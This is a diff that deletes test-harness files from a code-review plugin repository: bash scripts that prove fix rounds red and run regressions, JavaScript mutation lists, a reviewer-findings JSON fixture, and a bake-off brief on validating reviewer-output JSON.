[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/fix-round-4-5b-part-4-red.sh
rc=$?
echo "regression: tests/fix-round-4-5b-part-4-red.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
exit "$FIRST"

View file

@ -1,40 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b-red.sh
# The red proof of fix round 4-5b (brief: fixed boundary 4), as a wrapper over
# the shared red script tests/helpers/red-round.sh. Every id of the round has
# tests whose names start with "[id]"; each of them must fail on an assertion
# at the round's start point be0b631, or, for an id a mutation names, under
# that mutation.
# This wrapper passes the shared script:
# --base BASE, --ids IDS (the round's 41 ids), the round's FILES;
# --other-ids: the ids of fix round 4-5a, read with sed from the IDS= line
# of tests/fix-round-4-5a-red.sh (a tag on that list is not judged);
# --mutations tests/fix-round-4-5b-mutations.mjs (its ids are pass-ids at
# the start point and are proven red under their mutations);
# --require-sha256: the round has SHA-256 tests, so a git that cannot
# create a SHA-256 repository is a setup failure, not a silent skip.
# The shared script clones the start point outside the repo, puts the working
# tree's tests/ in it, runs every tagged test of the files once, lets
# tests/helpers/red-judge.mjs decide, then applies each mutation, runs that
# id's tests, judges and restores.
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
# (also: no ids on the 4-5a IDS= line); never 0 on a setup failure.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
set -f
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
ROOT="$(pwd -P)"
BASE=be0b631fed21942b6c0fdae570b58e4112f8242d
IDS='M6 M11 M4 m4 M3 M7 M7r E22c E22e M5 S3 E20 M9 M2 K3 M1 M1r E23a E23b E23d E23f M8 M10 DJ5 M13 K2 DJ1 DJ2 DJ4 DJ4r E14 E16a E17a E17b E18a Da Db K4 ARG PTR RS'
FILES='tests/lib/verdict-gate.test.mjs tests/lib/done-line.test.mjs tests/lib/park-attempt-files.test.mjs tests/scripts/trekreview-armb-workflow.test.mjs tests/lib/coordinator-contract.test.mjs tests/lib/red-judge.test.mjs tests/lib/red-script.test.mjs tests/lib/review-recurrence.test.mjs tests/lib/arg-parser.test.mjs tests/commands/trekendsession.test.mjs tests/validators/next-session-prompt-validator.test.mjs tests/lib/fix-round-4-5b-prose.test.mjs tests/lib/fix-round-4-5a-prose.test.mjs tests/scripts/release-check.test.mjs'
OTHER=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
if [ -z "$OTHER" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
exit 2
fi
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER" --mutations "$ROOT/tests/fix-round-4-5b-mutations.mjs" --require-sha256 $FILES

View file

@ -1,31 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b-regression.sh
# The Regression: of fix round 4-5b's steps: the whole suite (npm test), the
# 4-5a red proof (tests/fix-round-4-5a-red.sh, a wrapper over the shared red
# script) and the 4-5a end to end (tests/e2e-fix-round-4-5a.sh, which npm test
# only pins statically). All three run; the script exits with the first
# non-zero status, or 0 when all three exit 0.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
FIRST=0
npm test
rc=$?
echo "regression: npm test exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/fix-round-4-5a-red.sh
rc=$?
echo "regression: tests/fix-round-4-5a-red.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5a.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5a.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
exit "$FIRST"

View file

@ -1,62 +0,0 @@
// tests/fix-round-4-5b2-a-mutations.mjs
// The mutations of fix round 4.5b2, part A (plan
// .claude/projects/2026-10-31-guard-4-5b2-part-a, Step 5, 5a; decisions 91,
// 107 and 123), for the shared red script (tests/helpers/red-round.sh,
// through tests/helpers/red-mutate.mjs).
// An id named here has tests that pass at the round's start point e2d6bec and
// is proven red under its mutations instead:
// - RXT: the try already holds the regex reading's escape limit at e2d6bec
// (the round adds only its test, which forces an error there through a
// preload); the mutation opens the try after the regex reading, in
// e2d6bec's hook, so that error escapes it.
// - CNT: the first-<< search already takes a line continuation between the
// two < at e2d6bec; the mutation drops that branch, in e2d6bec's hook.
// - HDR: the false-stops header is corrected in the working tree's tests/
// that the script copies into the clone; the mutation puts the wrong red
// base back.
// Every span must match exactly once in the clone (e2d6bec's code with the
// working tree's tests/). Data only; never matched by `npm test`.
export const MUTATIONS = [
{
key: 'RXT-try',
id: 'RXT',
what: 'the try opens after the regex reading',
spans: [
{
file: 'hooks/scripts/pre-bash-executor.mjs',
find: ' let argsVerdict = null;\n try {\n',
replace: ' let argsVerdict = null;\n',
},
{
file: 'hooks/scripts/pre-bash-executor.mjs',
find: ' let bodyFrom = Infinity;\n',
replace: ' try {\n let bodyFrom = Infinity;\n',
},
],
},
{
key: 'CNT-regex',
id: 'CNT',
what: 'the first-<< search loses its continuation branch',
spans: [
{
file: 'hooks/scripts/pre-bash-executor.mjs',
find: 'const h = /<(?:\\\\\\n)*</.exec(text);',
replace: 'const h = /<</.exec(text);',
},
],
},
{
key: 'HDR-header',
id: 'HDR',
what: 'the false-stops header names the wrong red base again',
spans: [
{
file: 'tests/hooks/bash-guard-false-stops.test.mjs',
find: 'loads at 591f3c4',
replace: 'loads at 12bca8b',
},
],
},
];

View file

@ -1,68 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b2-a-red.sh
# The red proof of fix round 4.5b2, part A (plan
# .claude/projects/2026-10-31-guard-4-5b2-part-a/plan.md, Step 5, 5b;
# decisions 91, 107 and 123), as a wrapper over the shared red script
# tests/helpers/red-round.sh. Every id of the round has tests whose names
# start with "[id]"; SFX, ESR, EVL, KIA and SIS must each fail on an assertion
# at the round's start point e2d6bec, and RXT, CNT and HDR, whose tests pass
# there, are proven red under their mutations.
# This wrapper passes the shared script:
# --base BASE, the full sha of e2d6bec;
# --ids IDS (the round's 8 ids);
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1, of part 2, of
# part 3 and of part 4, read with sed from the IDS= lines of
# tests/fix-round-4-5a-red.sh, tests/fix-round-4-5b-red.sh,
# tests/fix-round-4-5b-part-2-red.sh, tests/fix-round-4-5b-part-3-red.sh
# and tests/fix-round-4-5b-part-4-red.sh and passed as ONE value, in that
# order (the shared script keeps only the last --other-ids it is given);
# a tag on that list is not judged;
# --mutations tests/fix-round-4-5b2-a-mutations.mjs (RXT-try, CNT-regex,
# HDR-header);
# the round's FILES: the two tagged test files. The keep file
# (tests/hooks/bash-guard-4-5b2-a-known.test.mjs) holds at e2d6bec by
# design and its tag is no red-proof id; the corpus test and the scripts
# test are untagged; none of the three is listed.
# No --require-sha256: the round has no SHA-256 test.
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
# (also: no ids on one of the five older IDS= lines); never 0 on a setup
# failure.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
set -f
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
ROOT="$(pwd -P)"
BASE=e2d6beccb7ea38cb8d596b6a35bcad0232ae3ca1
IDS='RXT CNT SFX ESR EVL KIA HDR SIS'
FILES='tests/hooks/bash-guard-4-5b2-a.test.mjs tests/lib/fix-round-4-5b2-a-prose.test.mjs'
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
if [ -z "$OTHER_A" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
exit 2
fi
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
if [ -z "$OTHER_B" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
exit 2
fi
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
if [ -z "$OTHER_C" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
exit 2
fi
OTHER_D=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-3-red.sh")
if [ -z "$OTHER_D" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-3-red.sh" >&2
exit 2
fi
OTHER_E=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-4-red.sh")
if [ -z "$OTHER_E" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-4-red.sh" >&2
exit 2
fi
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C $OTHER_D $OTHER_E" --mutations "$ROOT/tests/fix-round-4-5b2-a-mutations.mjs" $FILES

View file

@ -1,72 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b2-a-regression.sh
# The Regression: of fix round 4.5b2, part A (plan
# .claude/projects/2026-10-31-guard-4-5b2-part-a/plan.md, Step 5, 5c;
# decisions 91, 107 and 123): the whole suite (npm test, which runs the keep
# file and the corpus test too), the round's bypass corpus
# (tests/guard-bypass-corpus-4-5b2-a.sh), the round's end to end
# (tests/e2e-fix-round-4-5b2-a.sh), part 4's, part 3's, part 2's and part 1's
# end to end (tests/e2e-fix-round-4-5b-part-4.sh,
# tests/e2e-fix-round-4-5b-part-3.sh, tests/e2e-fix-round-4-5b-part-2.sh,
# tests/e2e-fix-round-4-5b.sh), the round's red proof
# (tests/fix-round-4-5b2-a-red.sh) and part 4's red proof
# (tests/fix-round-4-5b-part-4-red.sh, which lists the false-stops file this
# round edited). The 4-5a, part-1, part-2 and part-3 red proofs are not run
# here: one Regression command has the criteria runner's 15-minute cap; they
# run as their own Verification lines.
# All nine run, in that order; the script prints each exit and exits with the
# first non-zero status, or 0 when all nine exit 0.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
FIRST=0
npm test
rc=$?
echo "regression: npm test exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/guard-bypass-corpus-4-5b2-a.sh
rc=$?
echo "regression: tests/guard-bypass-corpus-4-5b2-a.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b2-a.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b2-a.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b-part-4.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b-part-4.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b-part-3.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b-part-3.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b-part-2.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b-part-2.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/fix-round-4-5b2-a-red.sh
rc=$?
echo "regression: tests/fix-round-4-5b2-a-red.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/fix-round-4-5b-part-4-red.sh
rc=$?
echo "regression: tests/fix-round-4-5b-part-4-red.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
exit "$FIRST"

View file

@ -1,32 +0,0 @@
// tests/fix-round-4-5b2-b-mutations.mjs
// The mutations of fix round 4.5b2, part B (plan
// .claude/projects/2026-10-31-review-gate-4-5b2, Step 16; decisions 129 and
// 132), for the shared red script (tests/helpers/red-round.sh, through
// tests/helpers/red-mutate.mjs).
// Every other id of the round is new behaviour whose tests fail on an
// assertion at the round's start point 96fba75, and kept behaviour is an
// untagged keep: test or a Control: assertion inside a red tagged test.
// An id named here has tests that pass at 96fba75 and is proven red under its
// mutation instead:
// - FXS: the main-merge-declined reason list is in
// tests/fixtures/jsonl-schemas.md, under the working tree's tests/ that
// the script copies into the clone, so it already holds
// review-unanswered there; the mutation takes review-unanswered out of
// the fixture's list again.
// Every span must match exactly once in the clone (96fba75's code with the
// working tree's tests/). Data only; never matched by `npm test`.
export const MUTATIONS = [
{
key: 'FXS-fixture',
id: 'FXS',
what: "the fixture's main-merge-declined reasons lose review-unanswered",
spans: [
{
file: 'tests/fixtures/jsonl-schemas.md',
find: '`review-stale`, `review-unanswered`, `review-not-measured`',
replace: '`review-stale`, `review-not-measured`',
},
],
},
];

View file

@ -1,74 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b2-b-red.sh
# The red proof of fix round 4.5b2, part B (plan
# .claude/projects/2026-10-31-review-gate-4-5b2/plan.md, Step 16; decisions
# 129 and 132), as a wrapper over the shared red script
# tests/helpers/red-round.sh. Every id of the round has tests whose names
# start with "[id]"; each must fail on an assertion at the round's start point
# 96fba75, except FXS, whose one case reads a fixture under tests/ that the
# script copies into the clone and is proven red under its mutation. Kept
# behaviour is an untagged keep: test or a Control: assertion inside a red
# tagged test.
# This wrapper passes the shared script:
# --base BASE, the full sha of 96fba75;
# --ids IDS (the round's 20 ids);
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1, of part 2, of
# part 3, of part 4 and of 4.5b2 part A, read with sed from the IDS=
# lines of tests/fix-round-4-5a-red.sh, tests/fix-round-4-5b-red.sh,
# tests/fix-round-4-5b-part-2-red.sh, tests/fix-round-4-5b-part-3-red.sh,
# tests/fix-round-4-5b-part-4-red.sh and tests/fix-round-4-5b2-a-red.sh
# and passed as ONE value, in that order (the shared script keeps only
# the last --other-ids it is given); a tag on that list is not judged;
# --mutations tests/fix-round-4-5b2-b-mutations.mjs (one mutation,
# FXS-fixture);
# the round's FILES: the twelve new tagged test files. The RLS tests live in
# tests/lib/review-answers.test.mjs, so tests/scripts/release-check.test.mjs
# is not listed. The scripts test is untagged and not listed.
# No --require-sha256: the round has no SHA-256 test.
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
# (also: no ids on one of the six earlier IDS= lines); never 0 on a setup
# failure.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
set -f
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
ROOT="$(pwd -P)"
BASE=96fba75996be4fa295d80d7a42c8e3554f7aaae4
IDS='CAT V12 RAP ANS RLS PRX RND CAP CRY FXL POL ENG CMD DPR MEV PRB RMP PXB FN1 FXS'
FILES='tests/lib/review-answers.test.mjs tests/lib/review-validator-1-2.test.mjs tests/lib/pre-existing.test.mjs tests/lib/review-rounds.test.mjs tests/lib/review-policy.test.mjs tests/lib/engine-findings-compare.test.mjs tests/lib/claude-md-scope.test.mjs tests/hooks/merge-evidence.test.mjs tests/lib/fix-round-4-5b2-b-prose.test.mjs tests/lib/reviewed-commit-parents.test.mjs tests/lib/pre-existing-bound.test.mjs tests/lib/review-finalized.test.mjs'
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
if [ -z "$OTHER_A" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
exit 2
fi
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
if [ -z "$OTHER_B" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
exit 2
fi
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
if [ -z "$OTHER_C" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
exit 2
fi
OTHER_D=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-3-red.sh")
if [ -z "$OTHER_D" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-3-red.sh" >&2
exit 2
fi
OTHER_E=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-4-red.sh")
if [ -z "$OTHER_E" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-4-red.sh" >&2
exit 2
fi
OTHER_F=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b2-a-red.sh")
if [ -z "$OTHER_F" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b2-a-red.sh" >&2
exit 2
fi
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C $OTHER_D $OTHER_E $OTHER_F" --mutations "$ROOT/tests/fix-round-4-5b2-b-mutations.mjs" $FILES

View file

@ -1,42 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b2-b-regression.sh
# The regression run of fix round 4.5b2, part B (plan
# .claude/projects/2026-10-31-review-gate-4-5b2/plan.md, Step 13): the 4-5b
# red proof (tests/fix-round-4-5b-red.sh, decision 128: this round updated
# one assertion of the protected 4-5b prose test), then the end to end of
# 4.5a (tests/e2e-fix-round-4-5a.sh), of 4.5b part 4
# (tests/e2e-fix-round-4-5b-part-4.sh) and of 4.5b2 part A
# (tests/e2e-fix-round-4-5b2-a.sh). The round's own red proof and end to end
# run as their own Verification lines; the criteria runner caps one command
# at 900 s.
# All four run, in that order; the script prints each exit and exits with the
# first non-zero status, or 0 when all four exit 0.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
FIRST=0
/bin/bash tests/fix-round-4-5b-red.sh
rc=$?
echo "regression: tests/fix-round-4-5b-red.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5a.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5a.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b-part-4.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b-part-4.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b2-a.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b2-a.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
exit "$FIRST"

View file

@ -1,12 +0,0 @@
// tests/fix-round-4-5b2-c-mutations.mjs
// The mutations of fix round 4.5b2, part C (plan
// .claude/plans/trekplan-2026-11-03-review-gate-4-5b2-fixes.md, Step 7;
// decisions 135 and 137), for the shared red script
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs).
// The list is empty: no case of this round reads a file under tests/, so
// every id of the round is new behaviour whose tests fail on an assertion at
// the round's start point f1f5ab5, and none needs a mutation. Kept behaviour
// is an untagged keep: test or a Control: assertion inside a red tagged test.
// Data only; never matched by `npm test`.
export const MUTATIONS = [];

View file

@ -1,77 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b2-c-red.sh
# The red proof of fix round 4.5b2, part C (plan
# .claude/plans/trekplan-2026-11-03-review-gate-4-5b2-fixes.md, Step 7;
# decisions 135 and 137), as a wrapper over the shared red script
# tests/helpers/red-round.sh. Every id of the round has tests whose names
# start with "[id]"; each must fail on an assertion at the round's start point
# f1f5ab5 (part B's head, where all eight defects exist). Kept behaviour is an
# untagged keep: test or a Control: assertion inside a red tagged test.
# This wrapper passes the shared script:
# --base BASE, the full sha of f1f5ab5;
# --ids IDS (the round's nine ids);
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1, of part 2, of
# part 3, of part 4, of 4.5b2 part A and of 4.5b2 part B, read with sed
# from the IDS= lines of tests/fix-round-4-5a-red.sh,
# tests/fix-round-4-5b-red.sh, tests/fix-round-4-5b-part-2-red.sh,
# tests/fix-round-4-5b-part-3-red.sh, tests/fix-round-4-5b-part-4-red.sh,
# tests/fix-round-4-5b2-a-red.sh and tests/fix-round-4-5b2-b-red.sh and
# passed as ONE value, in that order (the shared script keeps only the
# last --other-ids it is given); a tag on that list is not judged;
# --mutations tests/fix-round-4-5b2-c-mutations.mjs (no mutation: no case
# of this round reads a file under tests/);
# the round's FILES: the seven new tagged test files. The scripts test is
# untagged and not listed.
# No --require-sha256: the round has no SHA-256 test.
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
# (also: no ids on one of the seven earlier IDS= lines); never 0 on a setup
# failure.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
set -f
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
ROOT="$(pwd -P)"
BASE=f1f5ab5528a376050dd03b7f7ac43f887596c9b4
IDS='DUP RSP NRL SYM WHD AMB CLU MMG PRC'
FILES='tests/lib/unique-finding-ids.test.mjs tests/lib/review-rounds-stopped-prepare.test.mjs tests/lib/instruction-scope-depth.test.mjs tests/lib/merge-evidence-writer-head.test.mjs tests/hooks/merge-evidence-ambiguous.test.mjs tests/hooks/merge-evidence-many.test.mjs tests/lib/fix-round-4-5b2-c-prose.test.mjs'
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
if [ -z "$OTHER_A" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
exit 2
fi
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
if [ -z "$OTHER_B" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
exit 2
fi
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
if [ -z "$OTHER_C" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
exit 2
fi
OTHER_D=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-3-red.sh")
if [ -z "$OTHER_D" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-3-red.sh" >&2
exit 2
fi
OTHER_E=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-4-red.sh")
if [ -z "$OTHER_E" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-4-red.sh" >&2
exit 2
fi
OTHER_F=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b2-a-red.sh")
if [ -z "$OTHER_F" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b2-a-red.sh" >&2
exit 2
fi
OTHER_G=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b2-b-red.sh")
if [ -z "$OTHER_G" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b2-b-red.sh" >&2
exit 2
fi
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C $OTHER_D $OTHER_E $OTHER_F $OTHER_G" --mutations "$ROOT/tests/fix-round-4-5b2-c-mutations.mjs" $FILES

View file

@ -1,17 +0,0 @@
[
{
"reviewer": "brief-conformance-reviewer",
"findings": [
{ "severity": "BLOCKER", "rule_key": "UNIMPLEMENTED_CRITERION", "file": "lib/handlers/login.mjs", "line": 17 },
{ "severity": "MAJOR", "rule_key": "PLAN_EXECUTE_DRIFT", "file": "lib/handlers/login.mjs", "line": 13 }
]
},
{
"reviewer": "code-correctness-reviewer",
"findings": [
{ "severity": "BLOCKER", "rule_key": "SECURITY_INJECTION", "file": "lib/auth/jwt.mjs", "line": 19 },
{ "severity": "MAJOR", "rule_key": "MISSING_TEST", "file": "lib/auth/refresh.mjs", "line": 0 },
{ "severity": "MINOR", "rule_key": "MISSING_ERROR_HANDLING", "file": "lib/auth/refresh.mjs", "line": 10 }
]
}
]

View file

@ -1,50 +0,0 @@
# NW2 bake-off fixture (S10)
Fixed, committable input for the prose-vs-Workflow `/trekreview` bake-off
(T2 §5). Both arms review **the same delivered diff against the same brief**, so
any difference in `review.md` is attributable to the orchestration substrate
(prose Arm A vs Workflow Arm B), not to the input.
## What's here
- `brief.md` — the contract. Reconstructed faithfully from the **real** NW1
contract (`docs/W1-narrow-wins-plan.md §S9`): goal, SC1–SC4, NG1–NG3,
constraints, NFRs.
- `delivered.diff` — the **real** delivered diff of commit `b149538`
(`git diff b149538^ b149538`): the NW1 implementation
(`lib/review/findings-schema.mjs` + tests + `commands/trekreview.md` Phase 5).
3 files, +438/-3.
## Why this commit
`b149538` (NW1/S9) is a genuine delivered-diff + brief pair already in this
repo's history — real code, real contract, fully self-contained (no external
deps), and small/cheap (ideal for the de-risking smoke run). It is not
finding-free (a strict correctness reviewer has surface to flag), so the
fidelity comparison is informative. A larger commit can be substituted for the
full ≥3-runs/arm measurement if more finding surface is wanted.
## Triage map (deterministic, pinned)
Per the Phase-4 path-pattern classifier, none of the 3 files match `skip` or
`deep-review` patterns → all `summary-only`:
```
commands/trekreview.md → summary-only
lib/review/findings-schema.mjs → summary-only
tests/lib/findings-schema.test.mjs → summary-only
```
## How it's consumed
The bake-off pins Phases 1–4 (brief + diff + triage above) and passes them to
both arms:
- **Arm A (prose):** current `/trekreview` Phase 5–6 behaviour.
- **Arm B (Workflow):** `scripts/trekreview-armB.workflow.mjs` via the Workflow
tool, `args = { brief, diff, triage }`.
Each arm yields a structured `{verdict, findings}`; the PRIMARY metric is
`fidelityDiffStructured` (`lib/review/fidelity-diff.mjs`) — same verdict +
equivalent finding set (IDs / severities / rule_keys).
```

View file

@ -1,78 +0,0 @@
---
type: trekbrief
brief_version: "2.1"
slug: nw1-reviewer-output-schema
task: Codify the /trekreview Phase 5 reviewer-output JSON as a validated schema contract
research_topics: 0
research_status: complete
brief_quality: ready
created: 2026-06-18
---
# NW1 — reviewer-output schema contract
## Intent
`/trekreview` Phase 5 launches two reviewer agents (`brief-conformance-reviewer`,
`code-correctness-reviewer`) that each emit a trailing fenced `json` block of
findings. The main context used to "collect the last fenced json block and
`JSON.parse()` it; on parse error, ask the agent to re-emit" — a fragile
contract (`trekreview.md:202–204`) that catches *parse* failure but not
*schema* failure: a reviewer can emit valid JSON with a missing `rule_key`, a
bad `severity`, or a non-numeric `line`, and it flows unchecked into the
coordinator's dedup-by-`(file,line,rule_key)` triplet.
## Goal
Codify the reviewer-output JSON as a validated schema. Main validates each
reviewer's output against the schema (not merely parses it) and re-asks on
schema failure as well as parse failure, with bounded retries. The load-bearing
fields the downstream dedup triplet + verdict depend on — `file`, `rule_key`,
`severity`, `line` — are hard errors; descriptive fields and unknown keys are
tolerated (forward-compatible). No Workflow dependency — the substrate stays
prose (this is the ungated, ship-regardless win).
## Success Criteria
- **SC1** — A findings-schema validator accepts a well-formed findings array and
rejects each malformation (missing `rule_key`, unknown `rule_key`, bad
`severity` enum, non-numeric `line`, missing `file`) with a stable error code.
- **SC2** — `lib/review/findings-schema.mjs` implements the schema + validator,
reusing the `lib/util/result.mjs` issue/result shape and the
`lib/review/rule-catalogue.mjs` `RULE_KEYS` / `SEVERITY_VALUES`.
- **SC3** — `commands/trekreview.md` Phase 5 prose replaces the
`JSON.parse`-only contract with "validate each reviewer's JSON against the
findings schema; on schema failure re-ask for conforming JSON (bounded
retries N=2); never feed unvalidated findings to the coordinator."
- **SC4** — `node --test tests/lib/findings-schema.test.mjs` is green; the full
`node --test` suite still passes; `claude plugin validate` is clean (modulo the
pre-existing root-CLAUDE.md warning).
## Non-Goals
- **NG1** — Do NOT introduce a Workflow-tool dependency. NW1 is the prose-only
tier; the substrate stays prose.
- **NG2** — Do NOT change the `review.md` output schema or
`lib/validators/review-validator.mjs`. This is the *reviewer-output* contract
(Phase 5 input), not the review.md artifact contract (Phase 7 output).
- **NG3** — Do NOT touch NW2 (Workflow port) or NW3 (synthesis-agent) scope.
## Constraints
- Zero runtime dependencies — Node stdlib only (project invariant).
- 3-layer module pattern (Content → Raw-text → CLI shim) mirroring the other
`lib/` validators.
- TDD (Iron Law): failing tests first, then minimal code to pass.
## Assumptions
- Reviewers continue to emit the documented JSON shape (`{reviewer, findings:[…]}`)
with the per-finding fields shown in the agent specs.
